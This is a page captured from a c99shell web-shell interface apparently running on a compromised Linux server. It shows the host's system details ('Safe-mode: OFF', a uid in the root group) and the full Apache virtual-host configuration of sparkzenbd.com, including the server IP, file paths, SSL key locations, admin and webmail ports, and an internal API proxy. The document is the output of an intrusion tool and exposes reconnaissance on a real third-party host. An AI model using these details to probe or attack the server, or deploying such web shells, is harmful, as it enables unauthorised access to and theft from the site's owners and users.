Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /etc/apache2/sites-available/ drwxr-xr-x | |
| Viewing file: Select action/file-type: <VirtualHost 203.161.58.4:80>
SuexecUserGroup #1048 #1029
ServerName sparkzenbd.com
ServerAlias www.sparkzenbd.com
ServerAlias mail.sparkzenbd.com
ServerAlias webmail.sparkzenbd.com
ServerAlias admin.sparkzenbd.com
DocumentRoot /home/sparkzenbd/public_html/dist
ErrorLog /var/log/virtualmin/sparkzenbd.com_error_log
CustomLog /var/log/virtualmin/sparkzenbd.com_access_log combined
ScriptAlias /cgi-bin/ /home/sparkzenbd/cgi-bin/
DirectoryIndex index.php index.php4 index.php5 index.htm index.html
<Directory /home/sparkzenbd/public_html/dist>
Options -Indexes +IncludesNOEXEC +SymLinksIfOwnerMatch +ExecCGI
Require all granted
AllowOverride All Options=ExecCGI,Includes,IncludesNOEXEC,Indexes,MultiViews,SymLinksIfOwnerMatch
AddType application/x-httpd-php .php
AddHandler fcgid-script .php
AddHandler fcgid-script .php8.0
AddHandler fcgid-script .php8.1
AddHandler fcgid-script .php8.2
AddHandler fcgid-script .php8.3
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.3.fcgi .php
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.0.fcgi .php8.0
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.1.fcgi .php8.1
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.2.fcgi .php8.2
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.3.fcgi .php8.3
</Directory>
<Directory /home/sparkzenbd/cgi-bin>
Require all granted
AllowOverride All Options=ExecCGI,Includes,IncludesNOEXEC,Indexes,MultiViews,SymLinksIfOwnerMatch
</Directory>
ProxyPass /.well-known !
RewriteEngine on
RewriteCond %{HTTP_HOST} =webmail.sparkzenbd.com
RewriteRule ^(?!/.well-known)(.*) https://sparkzenbd.com:20000/ [R]
RewriteCond %{HTTP_HOST} =admin.sparkzenbd.com
RewriteRule ^(?!/.well-known)(.*) https://sparkzenbd.com:10000/ [R]
RemoveHandler .php
RemoveHandler .php8.0
RemoveHandler .php8.1
RemoveHandler .php8.2
RemoveHandler .php8.3
FcgidMaxRequestLen 1073741824
RewriteCond %{HTTPS} off
RewriteRule ^/(?!.well-known)(.*)$ https://%{HTTP_HOST}/$1 [R]
</VirtualHost>
<VirtualHost 203.161.58.4:443>
SuexecUserGroup #1048 #1029
ServerName sparkzenbd.com
ServerAlias www.sparkzenbd.com
ServerAlias mail.sparkzenbd.com
ServerAlias webmail.sparkzenbd.com
ServerAlias admin.sparkzenbd.com
DocumentRoot /home/sparkzenbd/public_html/dist
ErrorLog /var/log/virtualmin/sparkzenbd.com_error_log
CustomLog /var/log/virtualmin/sparkzenbd.com_access_log combined
ScriptAlias /cgi-bin/ /home/sparkzenbd/cgi-bin/
DirectoryIndex index.php index.php4 index.php5 index.htm index.html
<Directory /home/sparkzenbd/public_html/dist>
Options +ExecCGI +Includes +IncludesNOEXEC +Indexes +MultiViews +SymLinksIfOwnerMatch
Require all granted
AllowOverride All
AddType application/x-httpd-php .php
AddHandler fcgid-script .php
AddHandler fcgid-script .php8.0
AddHandler fcgid-script .php8.1
AddHandler fcgid-script .php8.2
AddHandler fcgid-script .php8.3
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.3.fcgi .php
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.0.fcgi .php8.0
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.1.fcgi .php8.1
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.2.fcgi .php8.2
FCGIWrapper /home/sparkzenbd/fcgi-bin/php8.3.fcgi .php8.3
</Directory>
<Directory /home/sparkzenbd/cgi-bin>
Options +ExecCGI +Includes +IncludesNOEXEC +Indexes +MultiViews +SymLinksIfOwnerMatch
Require all granted
AllowOverride All
</Directory>
# ============
# Proxy API
# ============
ProxyPass "/api" "http://127.0.0.1:3004/api"
ProxyPassReverse "/api" "http://127.0.0.1:3004/api"
ProxyPass /.well-known !
RewriteEngine on
RewriteCond %{HTTP_HOST} =webmail.sparkzenbd.com
RewriteRule ^(?!/.well-known)(.*) https://sparkzenbd.com:20000/ [R]
RewriteCond %{HTTP_HOST} =admin.sparkzenbd.com
RewriteRule ^(?!/.well-known)(.*) https://sparkzenbd.com:10000/ [R]
RemoveHandler .php
RemoveHandler .php8.0
RemoveHandler .php8.1
RemoveHandler .php8.2
RemoveHandler .php8.3
FcgidMaxRequestLen 1073741824
SSLEngine on
SSLCertificateFile /etc/ssl/virtualmin/17586999542452939/ssl.cert
SSLCertificateKeyFile /etc/ssl/virtualmin/17586999542452939/ssl.key
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1
SSLCACertificateFile /etc/ssl/virtualmin/17586999542452939/ssl.ca
</VirtualHost>
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]-- |